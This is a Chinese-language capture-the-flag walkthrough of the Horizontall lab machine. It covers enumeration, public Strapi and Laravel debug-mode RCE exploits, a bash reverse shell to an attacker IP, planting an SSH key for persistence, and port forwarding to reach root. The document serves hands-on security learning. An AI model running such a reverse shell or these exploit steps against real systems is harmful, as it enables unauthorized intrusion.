Linux/Horizonatll

Enumeration

nmap

第一次扫描发现系统对外开放了22,80端口,端口详细信息如下

从nmap结果看,系统只对外开放了两个端口,22和80,还显示了域名为http://horizontall.htb,将其添加到/etc/hosts文件中

strapi 3.0.0-beta.17.4 Set Password+Remote Code Execution

访问网站,页面如下

但是网站里所有的链接都没有用,因此尝试扫描web目录,但是并没有发现什么有趣的内容,然后发现在app.c68eb462.js中发现了一个新域名api-prod.horizontall.htb,将其添加到/etc/hosts文件中

之后访问新发现的域名,结果只是在屏幕上打印了welcome,尝试扫描web目录

使用gobuster扫描目录,很快就发现了admin

访问目录会跳转到登录页面,可以清楚地看到登录框写着strapi,通过搜索发现strapi是一个开源的headless CMS

对一个已知的cms应用,先看看有没有现成的漏洞及利用方式,有未认证的设置密码,认证后的rce,第三个很有意思,看起来是将前两种情况合并在一起,先将利用脚本镜像到本地

在python脚本中有一段版本检查的代码

可以请求该url,来查看软件版本是否存在漏洞

版本一致,容易受到攻击,执行脚本

可以看到脚本修改了密码,在输入id后返回了错误,并且提示这个RCE无法看到输出,尝试用一个用反向shell连接kali

bash 复制代码
bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'

输入上述指令后,在监听端得到shell

获取交互式shell

bash 复制代码
script /dev/null -c bash
ctrl-z
stty raw -echo; fg
reset

可以拿到user的flag

Privilege Escalation

查看系统运行的服务

可以看到除了22和80外,还有1337,3306和8000端口,3306默认是mysql的端口,用curl请求1337和8000端口,这两个页面似乎都展示了页面

发现strapi的主目录是/opt/strapi

在本机上使用ssh-keygen生成公钥和私钥对

复制id_rsa.pub中的内容到目标主机/opt/strapi/.ssh/authorized_keys,因为没有.ssh目录,所以新建了一个,然后在该目录下,创建了authorized_keys并修改其内容

这个时候就可以使用ssh登录目标系统了,这个时候可以利用ssh隧道将本地端口转发到远程主机

bash 复制代码
ssh -i id_rsa -L 8000:localhost:8000 strapi@10.10.11.105

然后可以在本地访问8000端口

在页面最下方,有laravel的版本信息Laravel v8 (PHP v7.4.18),有了具体的框架及版本,可以查看是否存在漏洞及利用方式,发现如果框架处于调试模式时,可以远程代码执行

Laravel 8.4.2 debug mode - Remote code execution

不知道怎么确定是否在调试,尝试扫描目录之后,发现了/profiles,访问该链接

在Laravel中发现了一些调试信息,似乎框架就处于希望的调试模式,寻找漏洞利用程序,然后下载到本地并且为程序添加执行权限,因为刚才进行了端口转发,可以直接在kali机器上运行程序

发现,按照步骤运行完毕后,输出了root,可以将指令换成一个反向shell

在kali中开启监听后,执行指令,即可获得一个shell

相关推荐
峥无1 小时前
Linux系统编程基石:静态库·动态库·ELF文件·进程地址空间全景图
linux·运维·服务器
用户2367829801681 小时前
从 chmod 755 说起:Unix 文件权限到底是怎么算的?
linux
Strugglingler2 小时前
【systemctl 学习总结】
linux·systemd·systemctl·journalctl·unit file
汤愈韬2 小时前
三种常用 NAT 的经典案例
网络协议·网络安全·security
嵌入式×边缘AI:打怪升级日志3 小时前
100ASK-T113 Pro 开发板 Bootloader 完全开发指南
linux·ubuntu·bootloader
汤愈韬3 小时前
NAT Server 与目的Nat
网络·网络协议·网络安全·security
charlie1145141914 小时前
Linux 字符设备驱动:cdev、设备号与设备模型
linux·开发语言·驱动开发·c
handler014 小时前
Linux 内核剖析:进程优先级、上下文切换与 O(1) 调度算法
linux·运维·c语言·开发语言·c++·笔记·算法
zhouwy1134 小时前
Linux进程与线程编程详解
linux·c++
我星期八休息5 小时前
IT疑难杂症诊疗室:AI时代工程师Superpowers进化论
linux·开发语言·数据结构·人工智能·python·散列表